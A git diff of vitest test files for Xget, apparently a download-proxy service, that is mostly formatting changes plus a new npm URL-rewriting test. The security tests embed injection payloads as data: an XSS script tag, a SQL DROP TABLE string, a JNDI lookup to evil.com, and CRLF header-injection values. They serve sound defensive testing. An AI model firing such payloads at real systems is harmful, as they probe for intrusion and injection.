'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// Git requests should not be cached (no cache headers)
|
||||
expect(response.headers.get('Cache-Control')).not.toContain('max-age=1800');
|
||||
});
|
||||
@@ -143,7 +145,7 @@ describe('Integration Tests', () => {
|
||||
it('should handle upstream server errors gracefully', async () => {
|
||||
const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
|
||||
// Should handle 404 from upstream gracefully
|
||||
expect([404, 502, 503]).toContain(response.status);
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
@@ -155,7 +157,7 @@ describe('Integration Tests', () => {
|
||||
// with a mock server that delays responses.
|
||||
const testUrl = 'https://example.com/gh/test/repo/file.txt';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
|
||||
// Should complete within reasonable time
|
||||
expect(response.status).toBeDefined();
|
||||
});
|
||||
@@ -164,7 +166,7 @@ describe('Integration Tests', () => {
|
||||
// Test retry mechanism by checking performance metrics
|
||||
const testUrl = 'https://example.com/gh/test/unreliable-endpoint';
|
||||
const response = await SELF.fetch(testUrl);
|
||||
|
||||
|
||||
const metricsHeader = response.headers.get('X-Performance-Metrics');
|
||||
if (metricsHeader) {
|
||||
const metrics = JSON.parse(metricsHeader);
|
||||
@@ -178,12 +180,12 @@ describe('Integration Tests', () => {
|
||||
it('should complete requests within reasonable time', async () => {
|
||||
const startTime = Date.now();
|
||||
const testUrl = 'https://example.com/gh/test/repo/small-file.txt';
|
||||
|
||||
|
||||
const response = await SELF.fetch(testUrl);
|
||||
const endTime = Date.now();
|
||||
|
||||
|
||||
const duration = endTime - startTime;
|
||||
|
||||
|
||||
// Should complete within 30 seconds (timeout limit)
|
||||
expect(duration).toBeLessThan(30000);
|
||||
expect(response.status).toBeDefined();
|
||||
@@ -198,7 +200,7 @@ describe('Integration Tests', () => {
|
||||
'https://example.com/pypi/simple/test/',
|
||||
'https://example.com/conda/pkgs/main/test.json'
|
||||
];
|
||||
|
||||
|
||||
for (const url of testUrls) {
|
||||
const response = await SELF.fetch(url, { method: 'HEAD' });
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
@@ -214,10 +216,10 @@ describe('Integration Tests', () => {
|
||||
{ url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' },
|
||||
{ url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' }
|
||||
];
|
||||
|
||||
|
||||
for (const testCase of testCases) {
|
||||
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
|
||||
|
||||
|
||||
if (response.status === 200) {
|
||||
const contentType = response.headers.get('Content-Type');
|
||||
if (contentType) {
|
||||
@@ -233,13 +235,13 @@ describe('Integration Tests', () => {
|
||||
const testUrl = 'https://example.com/gh/test/repo/large-file.zip';
|
||||
const response = await SELF.fetch(testUrl, {
|
||||
headers: {
|
||||
'Range': 'bytes=0-1023'
|
||||
Range: 'bytes=0-1023'
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// Should either support range requests (206) or return full content (200)
|
||||
expect([200, 206, 404]).toContain(response.status);
|
||||
|
||||
|
||||
if (response.status === 206) {
|
||||
expect(response.headers.get('Content-Range')).toBeTruthy();
|
||||
}
|
||||
@@ -252,11 +254,11 @@ describe('Integration Tests', () => {
|
||||
'https://example.com/gh/test/repo/README.md',
|
||||
'https://example.com/gl/test/repo/README.md'
|
||||
];
|
||||
|
||||
|
||||
const responses = await Promise.all(
|
||||
testCases.map(url => SELF.fetch(url, { method: 'HEAD' }))
|
||||
);
|
||||
|
||||
|
||||
// All responses should have consistent security headers
|
||||
responses.forEach(response => {
|
||||
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
|
||||
@@ -264,4 +266,4 @@ describe('Integration Tests', () => {
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,82 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('npm URL Rewriting Fix', () => {
|
||||
it('should correctly rewrite npm registry URLs to preserve package names', () => {
|
||||
const mockOriginalText = JSON.stringify({
|
||||
name: 'npm',
|
||||
versions: {
|
||||
'11.5.1': {
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Simulate the regex replacement that happens in the code
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||
`https://xget.xi-xu.me/npm/$1`
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
|
||||
// Verify the URL is correctly rewritten
|
||||
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
|
||||
);
|
||||
});
|
||||
|
||||
it('should handle scoped packages correctly', () => {
|
||||
const mockOriginalText = JSON.stringify({
|
||||
name: '@types/node',
|
||||
versions: {
|
||||
'20.0.0': {
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/@types/node/-/node-20.0.0.tgz'
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||
`https://xget.xi-xu.me/npm/$1`
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
|
||||
expect(rewrittenData.versions['20.0.0'].dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/@types/node/-/node-20.0.0.tgz'
|
||||
);
|
||||
});
|
||||
|
||||
it('should handle multiple URLs in the same JSON response', () => {
|
||||
const mockOriginalText = JSON.stringify({
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/package1/-/package1-1.0.0.tgz'
|
||||
},
|
||||
dependencies: {
|
||||
dep: {
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/dep/-/dep-2.0.0.tgz'
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
|
||||
`https://xget.xi-xu.me/npm/$1`
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
|
||||
expect(rewrittenData.dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/package1/-/package1-1.0.0.tgz'
|
||||
);
|
||||
expect(rewrittenData.dependencies.dep.dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/dep/-/dep-2.0.0.tgz'
|
||||
);
|
||||
});
|
||||
});
|
||||
+32
-32
@@ -34,7 +34,7 @@ describe('Performance Monitoring', () => {
|
||||
|
||||
it('should create timing marks', () => {
|
||||
monitor.mark('test-mark');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(metrics).toHaveProperty('test-mark');
|
||||
expect(typeof metrics['test-mark']).toBe('number');
|
||||
@@ -44,7 +44,7 @@ describe('Performance Monitoring', () => {
|
||||
monitor.mark('mark1');
|
||||
monitor.mark('mark2');
|
||||
monitor.mark('mark3');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(Object.keys(metrics)).toHaveLength(3);
|
||||
expect(metrics).toHaveProperty('mark1');
|
||||
@@ -57,19 +57,19 @@ describe('Performance Monitoring', () => {
|
||||
const originalWarn = console.warn;
|
||||
const mockWarn = vi ? vi.fn() : jest.fn();
|
||||
console.warn = mockWarn;
|
||||
|
||||
|
||||
monitor.mark('duplicate');
|
||||
monitor.mark('duplicate');
|
||||
|
||||
|
||||
expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.');
|
||||
|
||||
|
||||
// Restore original console.warn
|
||||
console.warn = originalWarn;
|
||||
});
|
||||
|
||||
it('should return metrics as plain object', () => {
|
||||
monitor.mark('test');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(metrics).toBeTypeOf('object');
|
||||
expect(Array.isArray(metrics)).toBe(false);
|
||||
@@ -77,12 +77,12 @@ describe('Performance Monitoring', () => {
|
||||
|
||||
it('should track elapsed time correctly', async () => {
|
||||
monitor.mark('start');
|
||||
|
||||
|
||||
// Wait a small amount of time
|
||||
await new Promise(resolve => setTimeout(resolve, 10));
|
||||
|
||||
|
||||
monitor.mark('end');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(metrics.end).toBeGreaterThan(metrics.start);
|
||||
});
|
||||
@@ -94,18 +94,18 @@ describe('Performance Monitoring', () => {
|
||||
monitor.mark('proxy-start');
|
||||
monitor.mark('proxy-end');
|
||||
monitor.mark('request-end');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
|
||||
expect(() => JSON.stringify(metrics)).not.toThrow();
|
||||
});
|
||||
|
||||
it('should have reasonable timing values', () => {
|
||||
monitor.mark('test-mark');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
const timing = metrics['test-mark'];
|
||||
|
||||
|
||||
// Should be a positive number and reasonable (less than 1 second for this test)
|
||||
expect(timing).toBeGreaterThanOrEqual(0);
|
||||
expect(timing).toBeLessThan(1000);
|
||||
@@ -117,9 +117,9 @@ describe('Performance Monitoring', () => {
|
||||
monitor.mark('second');
|
||||
await new Promise(resolve => setTimeout(resolve, 5));
|
||||
monitor.mark('third');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
|
||||
expect(metrics.first).toBeLessThan(metrics.second);
|
||||
expect(metrics.second).toBeLessThan(metrics.third);
|
||||
});
|
||||
@@ -133,9 +133,9 @@ describe('Performance Monitoring', () => {
|
||||
monitor.mark('proxy-start');
|
||||
monitor.mark('proxy-response');
|
||||
monitor.mark('response-sent');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
|
||||
expect(metrics).toHaveProperty('request-received');
|
||||
expect(metrics).toHaveProperty('validation-complete');
|
||||
expect(metrics).toHaveProperty('proxy-start');
|
||||
@@ -148,9 +148,9 @@ describe('Performance Monitoring', () => {
|
||||
monitor.mark('cache-miss');
|
||||
monitor.mark('upstream-request');
|
||||
monitor.mark('cache-store');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
|
||||
expect(metrics).toHaveProperty('cache-check-start');
|
||||
expect(metrics).toHaveProperty('cache-miss');
|
||||
expect(metrics).toHaveProperty('upstream-request');
|
||||
@@ -161,9 +161,9 @@ describe('Performance Monitoring', () => {
|
||||
monitor.mark('request-start');
|
||||
monitor.mark('error-occurred');
|
||||
monitor.mark('error-handled');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
|
||||
|
||||
expect(metrics).toHaveProperty('request-start');
|
||||
expect(metrics).toHaveProperty('error-occurred');
|
||||
expect(metrics).toHaveProperty('error-handled');
|
||||
@@ -173,24 +173,24 @@ describe('Performance Monitoring', () => {
|
||||
describe('Performance Thresholds', () => {
|
||||
it('should identify slow operations', () => {
|
||||
monitor.mark('operation-start');
|
||||
|
||||
|
||||
// Simulate slow operation
|
||||
const slowTiming = 5000; // 5 seconds
|
||||
monitor.marks.set('operation-end', slowTiming);
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0);
|
||||
|
||||
|
||||
// Should identify as slow (> 1 second)
|
||||
expect(operationTime).toBeGreaterThan(1000);
|
||||
});
|
||||
|
||||
it('should identify fast operations', () => {
|
||||
monitor.mark('fast-operation');
|
||||
|
||||
|
||||
const metrics = monitor.getMetrics();
|
||||
const timing = metrics['fast-operation'];
|
||||
|
||||
|
||||
// Should be fast (< 100ms for this test)
|
||||
expect(timing).toBeLessThan(100);
|
||||
});
|
||||
@@ -199,14 +199,14 @@ describe('Performance Monitoring', () => {
|
||||
describe('Memory and Resource Usage', () => {
|
||||
it('should not leak memory with many marks', () => {
|
||||
const initialSize = monitor.marks.size;
|
||||
|
||||
|
||||
// Add many marks
|
||||
for (let i = 0; i < 1000; i++) {
|
||||
monitor.mark(`mark-${i}`);
|
||||
}
|
||||
|
||||
|
||||
expect(monitor.marks.size).toBe(initialSize + 1000);
|
||||
|
||||
|
||||
// Clear marks (if such method existed)
|
||||
monitor.marks.clear();
|
||||
expect(monitor.marks.size).toBe(0);
|
||||
@@ -214,7 +214,7 @@ describe('Performance Monitoring', () => {
|
||||
|
||||
it('should handle concurrent mark operations', () => {
|
||||
const promises = [];
|
||||
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
promises.push(
|
||||
new Promise(resolve => {
|
||||
@@ -225,11 +225,11 @@ describe('Performance Monitoring', () => {
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
return Promise.all(promises).then(() => {
|
||||
const metrics = monitor.getMetrics();
|
||||
expect(Object.keys(metrics)).toHaveLength(10);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
+44
-43
@@ -5,7 +5,7 @@ describe('Platform Configuration', () => {
|
||||
describe('Platform Definitions', () => {
|
||||
it('should have all required platforms defined', () => {
|
||||
const requiredPlatforms = ['gh', 'gl', 'hf', 'npm', 'pypi', 'conda'];
|
||||
|
||||
|
||||
requiredPlatforms.forEach(platform => {
|
||||
expect(PLATFORMS).toHaveProperty(platform);
|
||||
expect(PLATFORMS[platform]).toBeDefined();
|
||||
@@ -30,12 +30,12 @@ describe('Platform Configuration', () => {
|
||||
describe('GitHub Platform', () => {
|
||||
it('should transform GitHub paths correctly', () => {
|
||||
const transform = PLATFORMS.gh.transform;
|
||||
|
||||
expect(transform('/gh/microsoft/vscode/archive/main.zip'))
|
||||
.toBe('/microsoft/vscode/archive/main.zip');
|
||||
|
||||
expect(transform('/gh/user/repo.git'))
|
||||
.toBe('/user/repo.git');
|
||||
|
||||
expect(transform('/gh/microsoft/vscode/archive/main.zip')).toBe(
|
||||
'/microsoft/vscode/archive/main.zip'
|
||||
);
|
||||
|
||||
expect(transform('/gh/user/repo.git')).toBe('/user/repo.git');
|
||||
});
|
||||
|
||||
it('should have correct base URL', () => {
|
||||
@@ -46,9 +46,10 @@ describe('Platform Configuration', () => {
|
||||
describe('GitLab Platform', () => {
|
||||
it('should transform GitLab paths correctly', () => {
|
||||
const transform = PLATFORMS.gl.transform;
|
||||
|
||||
expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'))
|
||||
.toBe('/gitlab-org/gitlab/-/archive/master/gitlab-master.zip');
|
||||
|
||||
expect(transform('/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip')).toBe(
|
||||
'/gitlab-org/gitlab/-/archive/master/gitlab-master.zip'
|
||||
);
|
||||
});
|
||||
|
||||
it('should have correct base URL', () => {
|
||||
@@ -59,12 +60,14 @@ describe('Platform Configuration', () => {
|
||||
describe('Hugging Face Platform', () => {
|
||||
it('should transform Hugging Face paths correctly', () => {
|
||||
const transform = PLATFORMS.hf.transform;
|
||||
|
||||
expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json'))
|
||||
.toBe('/microsoft/DialoGPT-medium/resolve/main/config.json');
|
||||
|
||||
expect(transform('/hf/datasets/squad/resolve/main/train.json'))
|
||||
.toBe('/datasets/squad/resolve/main/train.json');
|
||||
|
||||
expect(transform('/hf/microsoft/DialoGPT-medium/resolve/main/config.json')).toBe(
|
||||
'/microsoft/DialoGPT-medium/resolve/main/config.json'
|
||||
);
|
||||
|
||||
expect(transform('/hf/datasets/squad/resolve/main/train.json')).toBe(
|
||||
'/datasets/squad/resolve/main/train.json'
|
||||
);
|
||||
});
|
||||
|
||||
it('should have correct base URL', () => {
|
||||
@@ -75,12 +78,10 @@ describe('Platform Configuration', () => {
|
||||
describe('npm Platform', () => {
|
||||
it('should transform npm paths correctly', () => {
|
||||
const transform = PLATFORMS.npm.transform;
|
||||
|
||||
expect(transform('/npm/react/-/react-18.2.0.tgz'))
|
||||
.toBe('/react/-/react-18.2.0.tgz');
|
||||
|
||||
expect(transform('/npm/lodash'))
|
||||
.toBe('/lodash');
|
||||
|
||||
expect(transform('/npm/react/-/react-18.2.0.tgz')).toBe('/react/-/react-18.2.0.tgz');
|
||||
|
||||
expect(transform('/npm/lodash')).toBe('/lodash');
|
||||
});
|
||||
|
||||
it('should have correct base URL', () => {
|
||||
@@ -91,12 +92,12 @@ describe('Platform Configuration', () => {
|
||||
describe('PyPI Platform', () => {
|
||||
it('should transform PyPI paths correctly', () => {
|
||||
const transform = PLATFORMS.pypi.transform;
|
||||
|
||||
expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz'))
|
||||
.toBe('/packages/source/r/requests/requests-2.31.0.tar.gz');
|
||||
|
||||
expect(transform('/pypi/simple/requests/'))
|
||||
.toBe('/simple/requests/');
|
||||
|
||||
expect(transform('/pypi/packages/source/r/requests/requests-2.31.0.tar.gz')).toBe(
|
||||
'/packages/source/r/requests/requests-2.31.0.tar.gz'
|
||||
);
|
||||
|
||||
expect(transform('/pypi/simple/requests/')).toBe('/simple/requests/');
|
||||
});
|
||||
|
||||
it('should have correct base URL', () => {
|
||||
@@ -107,16 +108,18 @@ describe('Platform Configuration', () => {
|
||||
describe('conda Platform', () => {
|
||||
it('should transform conda default channel paths correctly', () => {
|
||||
const transform = PLATFORMS.conda.transform;
|
||||
|
||||
expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda'))
|
||||
.toBe('/pkgs/main/linux-64/numpy-1.24.3.conda');
|
||||
|
||||
expect(transform('/conda/pkgs/main/linux-64/numpy-1.24.3.conda')).toBe(
|
||||
'/pkgs/main/linux-64/numpy-1.24.3.conda'
|
||||
);
|
||||
});
|
||||
|
||||
it('should transform conda community channel paths correctly', () => {
|
||||
const transform = PLATFORMS.conda.transform;
|
||||
|
||||
expect(transform('/conda/community/conda-forge/linux-64/repodata.json'))
|
||||
.toBe('/conda-forge/linux-64/repodata.json');
|
||||
|
||||
expect(transform('/conda/community/conda-forge/linux-64/repodata.json')).toBe(
|
||||
'/conda-forge/linux-64/repodata.json'
|
||||
);
|
||||
});
|
||||
|
||||
it('should have correct base URLs', () => {
|
||||
@@ -141,16 +144,14 @@ describe('Platform Configuration', () => {
|
||||
|
||||
it('should handle paths with query parameters', () => {
|
||||
const transform = PLATFORMS.gh.transform;
|
||||
|
||||
expect(transform('/gh/user/repo/file.txt?ref=main'))
|
||||
.toBe('/user/repo/file.txt?ref=main');
|
||||
|
||||
expect(transform('/gh/user/repo/file.txt?ref=main')).toBe('/user/repo/file.txt?ref=main');
|
||||
});
|
||||
|
||||
it('should handle paths with fragments', () => {
|
||||
const transform = PLATFORMS.gh.transform;
|
||||
|
||||
expect(transform('/gh/user/repo/README.md#section'))
|
||||
.toBe('/user/repo/README.md#section');
|
||||
|
||||
expect(transform('/gh/user/repo/README.md#section')).toBe('/user/repo/README.md#section');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -160,7 +161,7 @@ describe('Platform Configuration', () => {
|
||||
const testPath = `/${key}/test/path`;
|
||||
const transformedPath = config.transform(testPath);
|
||||
const fullUrl = config.base + transformedPath;
|
||||
|
||||
|
||||
expect(() => new URL(fullUrl)).not.toThrow();
|
||||
});
|
||||
});
|
||||
@@ -170,9 +171,9 @@ describe('Platform Configuration', () => {
|
||||
const communityPath = '/conda/community/conda-forge/test';
|
||||
const transformedPath = config.transform(communityPath);
|
||||
const fullUrl = config.communityBase + transformedPath;
|
||||
|
||||
|
||||
expect(() => new URL(fullUrl)).not.toThrow();
|
||||
expect(fullUrl).toContain('conda.anaconda.org');
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
+28
-28
@@ -5,7 +5,7 @@ describe('Security Features', () => {
|
||||
describe('Security Headers', () => {
|
||||
it('should include Strict-Transport-Security header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
|
||||
const hsts = response.headers.get('Strict-Transport-Security');
|
||||
expect(hsts).toBeTruthy();
|
||||
expect(hsts).toContain('max-age=');
|
||||
@@ -15,19 +15,19 @@ describe('Security Features', () => {
|
||||
|
||||
it('should include X-Frame-Options header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
|
||||
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
||||
});
|
||||
|
||||
it('should include X-XSS-Protection header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
|
||||
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||
});
|
||||
|
||||
it('should include Content-Security-Policy header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
|
||||
const csp = response.headers.get('Content-Security-Policy');
|
||||
expect(csp).toBeTruthy();
|
||||
expect(csp).toContain("default-src 'none'");
|
||||
@@ -35,13 +35,13 @@ describe('Security Features', () => {
|
||||
|
||||
it('should include Referrer-Policy header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
|
||||
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
|
||||
});
|
||||
|
||||
it('should include Permissions-Policy header', async () => {
|
||||
const response = await SELF.fetch('https://example.com/');
|
||||
|
||||
|
||||
const permissionsPolicy = response.headers.get('Permissions-Policy');
|
||||
expect(permissionsPolicy).toBeTruthy();
|
||||
expect(permissionsPolicy).toContain('interest-cohort=()');
|
||||
@@ -53,7 +53,7 @@ describe('Security Features', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'PATCH'
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
@@ -61,7 +61,7 @@ describe('Security Features', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'PUT'
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
@@ -69,7 +69,7 @@ describe('Security Features', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'DELETE'
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
@@ -77,7 +77,7 @@ describe('Security Features', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'OPTIONS'
|
||||
});
|
||||
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
});
|
||||
@@ -101,7 +101,7 @@ describe('Security Features', () => {
|
||||
it('should reject extremely long paths', async () => {
|
||||
const longPath = '/gh/' + 'a'.repeat(3000);
|
||||
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||
|
||||
|
||||
expect(response.status).toBe(414);
|
||||
});
|
||||
|
||||
@@ -124,7 +124,7 @@ describe('Security Features', () => {
|
||||
it('should handle special characters in paths', async () => {
|
||||
const specialPaths = [
|
||||
'/gh/user/repo<script>alert(1)</script>',
|
||||
'/gh/user/repo\'; DROP TABLE users; --',
|
||||
"/gh/user/repo'; DROP TABLE users; --",
|
||||
'/gh/user/repo${jndi:ldap://evil.com}',
|
||||
'/gh/user/repo{{7*7}}'
|
||||
];
|
||||
@@ -165,7 +165,7 @@ describe('Security Features', () => {
|
||||
'User-Agent': userAgent
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// Should handle malicious user agents safely
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
@@ -175,10 +175,10 @@ describe('Security Features', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
headers: {
|
||||
'X-Test': 'value\r\nX-Injected: malicious',
|
||||
'Referer': 'https://evil.com\r\nX-Injected: header'
|
||||
Referer: 'https://evil.com\r\nX-Injected: header'
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// Should not allow header injection
|
||||
expect(response.headers.get('X-Injected')).toBeNull();
|
||||
});
|
||||
@@ -186,12 +186,12 @@ describe('Security Features', () => {
|
||||
|
||||
describe('Rate Limiting and DoS Protection', () => {
|
||||
it('should handle concurrent requests gracefully', async () => {
|
||||
const requests = Array(10).fill().map(() =>
|
||||
SELF.fetch('https://example.com/gh/test/repo/small-file.txt')
|
||||
);
|
||||
|
||||
const requests = Array(10)
|
||||
.fill()
|
||||
.map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt'));
|
||||
|
||||
const responses = await Promise.all(requests);
|
||||
|
||||
|
||||
// All requests should be handled without errors
|
||||
responses.forEach(response => {
|
||||
expect(response.status).not.toBe(500);
|
||||
@@ -202,7 +202,7 @@ describe('Security Features', () => {
|
||||
// This test would need to be implemented based on actual timeout behavior
|
||||
// For now, we just verify the request doesn't hang indefinitely
|
||||
const startTime = Date.now();
|
||||
|
||||
|
||||
try {
|
||||
await SELF.fetch('https://example.com/gh/test/very-large-file', {
|
||||
signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout
|
||||
@@ -218,9 +218,9 @@ describe('Security Features', () => {
|
||||
describe('Error Information Disclosure', () => {
|
||||
it('should not expose internal error details', async () => {
|
||||
const response = await SELF.fetch('https://example.com/invalid-platform/test');
|
||||
|
||||
|
||||
expect(response.status).toBe(400);
|
||||
|
||||
|
||||
const body = await response.text();
|
||||
// Should not expose internal paths, stack traces, or sensitive info
|
||||
expect(body).not.toMatch(/\/[a-zA-Z]:[\\\/]/); // Windows paths
|
||||
@@ -231,7 +231,7 @@ describe('Security Features', () => {
|
||||
|
||||
it('should provide generic error messages', async () => {
|
||||
const response = await SELF.fetch('https://example.com/invalid');
|
||||
|
||||
|
||||
const body = await response.text();
|
||||
// Error messages should be generic and safe
|
||||
expect(body.length).toBeLessThan(200); // Not too verbose
|
||||
@@ -245,12 +245,12 @@ describe('Security Features', () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'OPTIONS',
|
||||
headers: {
|
||||
'Origin': 'https://evil.com',
|
||||
Origin: 'https://evil.com',
|
||||
'Access-Control-Request-Method': 'GET',
|
||||
'Access-Control-Request-Headers': 'X-Custom-Header'
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
// Should either reject OPTIONS or handle CORS securely
|
||||
if (response.status === 200) {
|
||||
const allowOrigin = response.headers.get('Access-Control-Allow-Origin');
|
||||
@@ -264,7 +264,7 @@ describe('Security Features', () => {
|
||||
it('should not execute uploaded content', async () => {
|
||||
// Test that the service doesn't execute or interpret uploaded content
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');
|
||||
|
||||
|
||||
// Should serve content with appropriate headers, not execute it
|
||||
const contentType = response.headers.get('Content-Type');
|
||||
if (contentType) {
|
||||
@@ -273,4 +273,4 @@ describe('Security Features', () => {
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
+40
-50
@@ -26,13 +26,13 @@ let testMetrics = {
|
||||
beforeAll(async () => {
|
||||
console.log('🚀 Starting Xget test suite...');
|
||||
testStartTime = Date.now();
|
||||
|
||||
|
||||
// Initialize test environment
|
||||
await setupTestEnvironment();
|
||||
|
||||
|
||||
// Verify test dependencies
|
||||
await verifyTestDependencies();
|
||||
|
||||
|
||||
console.log('✅ Test environment initialized');
|
||||
});
|
||||
|
||||
@@ -41,29 +41,29 @@ beforeAll(async () => {
|
||||
*/
|
||||
afterAll(async () => {
|
||||
const duration = Date.now() - testStartTime;
|
||||
|
||||
|
||||
console.log('\n📊 Test Suite Summary:');
|
||||
console.log(` Duration: ${duration}ms`);
|
||||
console.log(` Total: ${testMetrics.totalTests}`);
|
||||
console.log(` Passed: ${testMetrics.passedTests}`);
|
||||
console.log(` Failed: ${testMetrics.failedTests}`);
|
||||
console.log(` Skipped: ${testMetrics.skippedTests}`);
|
||||
|
||||
|
||||
// Cleanup test environment
|
||||
await cleanupTestEnvironment();
|
||||
|
||||
|
||||
console.log('🏁 Test suite completed');
|
||||
});
|
||||
|
||||
/**
|
||||
* Setup before each test
|
||||
*/
|
||||
beforeEach(async (context) => {
|
||||
beforeEach(async context => {
|
||||
testMetrics.totalTests++;
|
||||
|
||||
|
||||
// Reset any global state
|
||||
resetGlobalState();
|
||||
|
||||
|
||||
// Setup test-specific environment
|
||||
await setupTestCase(context);
|
||||
});
|
||||
@@ -71,7 +71,7 @@ beforeEach(async (context) => {
|
||||
/**
|
||||
* Cleanup after each test
|
||||
*/
|
||||
afterEach(async (context) => {
|
||||
afterEach(async context => {
|
||||
// Update test metrics based on result
|
||||
if (context.meta?.result === 'pass') {
|
||||
testMetrics.passedTests++;
|
||||
@@ -80,7 +80,7 @@ afterEach(async (context) => {
|
||||
} else if (context.meta?.result === 'skip') {
|
||||
testMetrics.skippedTests++;
|
||||
}
|
||||
|
||||
|
||||
// Cleanup test-specific resources
|
||||
await cleanupTestCase(context);
|
||||
});
|
||||
@@ -93,17 +93,17 @@ async function setupTestEnvironment() {
|
||||
if (typeof globalThis.fetch === 'undefined') {
|
||||
throw new Error('fetch is not available in test environment');
|
||||
}
|
||||
|
||||
|
||||
// Setup global test utilities
|
||||
globalThis.TEST_CONFIG = TEST_CONFIG;
|
||||
|
||||
|
||||
// Initialize performance monitoring
|
||||
if (typeof performance === 'undefined') {
|
||||
globalThis.performance = {
|
||||
now: () => Date.now()
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
// Setup console overrides for testing
|
||||
setupConsoleOverrides();
|
||||
}
|
||||
@@ -112,20 +112,14 @@ async function setupTestEnvironment() {
|
||||
* Verify test dependencies
|
||||
*/
|
||||
async function verifyTestDependencies() {
|
||||
const requiredGlobals = [
|
||||
'Request',
|
